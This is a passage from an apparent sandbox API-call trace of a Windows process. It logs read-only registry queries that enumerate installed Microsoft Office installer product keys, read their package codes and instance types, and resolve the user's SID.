IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.718] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.718] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.718] lstrlenW (lpString="00006109910090400000000000F01FEC") returned 32 [0068.718] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0068.718] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\00006109910090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.718] GetCurrentThreadId () returned 0xf50 [0068.718] GetCurrentThreadId () returned 0xf50 [0068.718] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.718] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.718] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.718] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.718] LocalFree (hMem=0x32f770) returned 0x0 [0068.718] lstrlenW (lpString="00006109910090400000000000F01FEC") returned 32 [0068.718] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0068.718] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\00006109910090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.718] lstrlenW (lpString="00006109910090400000000000F01FEC") returned 32 [0068.719] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.719] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\00006109910090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d4) returned 0x0 [0068.719] RegQueryValueExW (in: hKey=0x1d4, lpValueName="PackageCode", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf290, lpcbData=0x10ced58*=0x4e | out: lpType=0x10ced5c*=0x1, lpData="DB9D80F8D02054440A1593515AABBC93", lpcbData=0x10ced58*=0x42) returned 0x0 [0068.719] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.719] lstrlenW (lpString="{90160000-0019-0409-0000-0000000FF1CE}") returned 38 [0068.719] lstrlenW (lpString="00006109910090400000000000F01FEC") returned 32 [0068.719] lstrlenW (lpString="00006109910090400000000000F01FEC") returned 32 [0068.719] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.719] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\00006109910090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d4) returned 0x0 [0068.719] RegQueryValueExW (in: hKey=0x1d4, lpValueName="InstanceType", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf340, lpcbData=0x10ced58*=0xa | out: lpType=0x10ced5c*=0x4, lpData=0x10cf340*=0x0, lpcbData=0x10ced58*=0x4) returned 0x0 [0068.719] _itow (in: _Dest=0x0, _Radix=17624624 | out: _Dest=0x0) returned="0" [0068.719] lstrlenW (lpString="0") returned 1 [0068.719] lstrlenW (lpString="0") returned 1 [0068.719] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.719] lstrcmpiW (lpString1="{8CB27BF3-59BC-4419-BE15-E9E385453F27}", lpString2="{8F08D9BD-020D-4445-A051-3915A5BACB39}") returned -1 [0068.720] GetCurrentThreadId () returned 0xf50 [0068.720] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf120 | out: phkResult=0x10cf120*=0x1d8) returned 0x0 [0068.720] RegEnumKeyExW (in: hKey=0x1d8, dwIndex=0xd, lpName=0x10cf160, lpcchName=0x10cf0ac, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00006109A10090400000000000F01FEC", lpcchName=0x10cf0ac, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.720] GetCurrentThreadId () returned 0xf50 [0068.720] GetCurrentThreadId () returned 0xf50 [0068.720] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.720] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.720] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.720] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.720] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.720] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.720] GetCurrentThreadId () returned 0xf50 [0068.720] GetCurrentThreadId () returned 0xf50 [0068.720] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.721] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.721] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.721] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.721] LocalFree (hMem=0x32f770) returned 0x0 [0068.721] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.721] GetCurrentThreadId () returned 0xf50 [0068.721] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.721] lstrlenW (lpString="{90160000-001A-0409-0000-0000000FF1CE}") returned 38 [0068.721] lstrlenW (lpString="00006109A10090400000000000F01FEC") returned 32 [0068.721] GetCurrentThreadId () returned 0xf50 [0068.721] GetCurrentThreadId () returned 0xf50 [0068.721] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.721] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.721] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.721] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.721] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.721] lstrlenW (lpString="00006109A10090400000000000F01FEC") returned 32 [0068.722] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0068.722] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\00006109A10090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.722] GetCurrentThreadId () returned 0xf50 [0068.722] GetCurrentThreadId () returned 0xf50 [0068.722] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.722] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.722] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.722] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.722] LocalFree (hMem=0x32f770) returned 0x0 [0068.722] lstrlenW (lpString="00006109A10090400000000000F01FEC") returned 32 [0068.722] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0068.722] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\00006109A10090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.722] lstrlenW (lpString="00006109A10090400000000000F01FEC") returned 32 [0068.722] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.722] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\00006109A10090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d8) returned 0x0 [0068.722] RegQueryValueExW (in: hKey=0x1d8, lpValueName="PackageCode", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf290, lpcbData=0x10ced58*=0x4e | out: lpType=0x10ced5c*=0x1, lpData="2EB8D561148E5714C9F8737B56C22AB8", lpcbData=0x10ced58*=0x42) returned 0x0 [0068.723] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.723] lstrlenW (lpString="{90160000-001A-0409-0000-0000000FF1CE}") returned 38 [0068.723] lstrlenW (lpString="00006109A10090400000000000F01FEC") returned 32 [0068.723] lstrlenW (lpString="00006109A10090400000000000F01FEC") returned 32 [0068.723] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.723] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\00006109A10090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d8) returned 0x0 [0068.723] RegQueryValueExW (in: hKey=0x1d8, lpValueName="InstanceType", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf340, lpcbData=0x10ced58*=0xa | out: lpType=0x10ced5c*=0x4, lpData=0x10cf340*=0x0, lpcbData=0x10ced58*=0x4) returned 0x0 [0068.723] _itow (in: _Dest=0x0, _Radix=17624624 | out: _Dest=0x0) returned="0" [0068.723] lstrlenW (lpString="0") returned 1 [0068.723] lstrlenW (lpString="0") returned 1 [0068.723] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.723] lstrcmpiW (lpString1="{8CB27BF3-59BC-4419-BE15-E9E385453F27}", lpString2="{165D8BE2-E841-4175-9C8F-37B7652CA28B}") returned 1 [0068.723] GetCurrentThreadId () returned 0xf50 [0068.723] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf120 | out: phkResult=0x10cf120*=0x1d4) returned 0x0 [0068.724] RegEnumKeyExW (in: hKey=0x1d4, dwIndex=0xe, lpName=0x10cf160, lpcchName=0x10cf0ac, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00006109A20000000100000000F01FEC", lpcchName=0x10cf0ac, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.724] GetCurrentThreadId () returned 0xf50 [0068.724] GetCurrentThreadId () returned 0xf50 [0068.724] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.724] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.724] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.724] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.724] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.724] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.724] GetCurrentThreadId () returned 0xf50 [0068.724] GetCurrentThreadId () returned 0xf50 [0068.724] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.724] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.724] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.725] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.725] LocalFree (hMem=0x32f770) returned 0x0 [0068.725] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.725] GetCurrentThreadId () returned 0xf50 [0068.725] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.725] lstrlenW (lpString="{90160000-002A-0000-1000-0000000FF1CE}") returned 38 [0068.726] lstrlenW (lpString="00006109A20000000100000000F01FEC") returned 32 [0068.726] GetCurrentThreadId () returned 0xf50 [0068.726] GetCurrentThreadId () returned 0xf50 [0068.726] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.726] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.726] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.726] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.726] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.726] lstrlenW (lpString="00006109A20000000100000000F01FEC") returned 32 [0068.726] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0068.726] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\00006109A20000000100000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.726] GetCurrentThreadId () returned 0xf50 [0068.726] GetCurrentThreadId () returned 0xf50 [0068.727] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.727] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.727] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.727] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.727] LocalFree (hMem=0x32f770) returned 0x0 [0068.727] lstrlenW (lpString="00006109A20000000100000000F01FEC") returned 32 [0068.727] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0068.727] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\00006109A20000000100000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.727] lstrlenW (lpString="00006109A20000000100000000F01FEC") returned 32 [0068.727] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.727] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\00006109A20000000100000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d4) returned 0x0 [0068.727] RegQueryValueExW (in: hKey=0x1d4, lpValueName="PackageCode", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf290, lpcbData=0x10ced58*=0x4e | out: lpType=0x10ced5c*=0x1, lpData="D680E4187D8788240A3A58A1899DB1AC", lpcbData=0x10ced58*=0x42) returned 0x0 [0068.727] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.727] lstrlenW (lpString="{90160000-002A-0000-1000-0000000FF1CE}") returned 38 [0068.727] lstrlenW (lpString="00006109A20000000100000000F01FEC") returned 32 [0068.727] lstrlenW (lpString="00006109A20000000100000000F01FEC") returned 32 [0068.728] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.728] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\00006109A20000000100000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d4) returned 0x0 [0068.728] RegQueryValueExW (in: hKey=0x1d4, lpValueName="InstanceType", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf340, lpcbData=0x10ced58*=0xa | out: lpType=0x10ced5c*=0x4, lpData=0x10cf340*=0x0, lpcbData=0x10ced58*=0x4) returned 0x0 [0068.728] _itow (in: _Dest=0x0, _Radix=17624624 | out: _Dest=0x0) returned="0" [0068.728] lstrlenW (lpString="0") returned 1 [0068.728] lstrlenW (lpString="0") returned 1 [0068.728] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.728] lstrcmpiW (lpString1="{8CB27BF3-59BC-4419-BE15-E9E385453F27}", lpString2="{814E086D-78D7-4288-A0A3-851A98D91BCA}") returned 1 [0068.728] GetCurrentThreadId () returned 0xf50 [0068.728] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf120 | out: phkResult=0x10cf120*=0x1d8) returned 0x0 [0068.728] RegEnumKeyExW (in: hKey=0x1d8, dwIndex=0xf, lpName=0x10cf160, lpcchName=0x10cf0ac, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00006109A20090400100000000F01FEC", lpcchName=0x10cf0ac, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.728] GetCurrentThreadId () returned 0xf50 [0068.728] GetCurrentThreadId () returned 0xf50 [0068.728] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.729] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.729] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, 